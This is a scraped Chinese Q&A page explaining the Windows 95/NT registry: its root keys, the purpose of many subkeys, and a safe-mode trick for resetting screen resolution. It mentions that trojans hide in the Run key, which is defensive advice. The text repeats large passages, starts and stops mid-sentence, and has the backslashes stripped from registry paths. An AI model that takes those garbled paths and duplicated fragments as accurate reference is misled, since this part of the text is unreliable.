就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”句,?/div>
2023-07-20 11:14:122

什么叫注册表,谁能通俗易懂的解释以下呀,网上查的我都看不懂

什么是注册表? 《英汉双解微软计算机辞典》(第 5 版)对注册表的定义是: Microsoft Windows 9x、Windows CE、Windows NT 和 Windows 2000 中使用的中央分层数据库,用于存储为一个或多个用户、应用程序和硬件设备配置系统所必需的信息。 注册表包含 Windows 在运行期间不断引用的信息,例如,每个用户的配置文件、计算机上安装的应用程序以及每个应用程序可以创建的文档类型、文件夹和应用程序图标的属性表设置、系统上存在哪些硬件以及正在使用哪些端口。 注册表取代了 Windows 3.x 和 MS-DOS 配置文件(例如,Autoexec.bat 和 Config.sys)中使用的绝大多数基于文本的 .ini 文件。虽然几个 Windows 操作系统都有注册表,但这些操作系统的注册表有一些区别。注册表数据存储在二进制文件中。 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好像独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 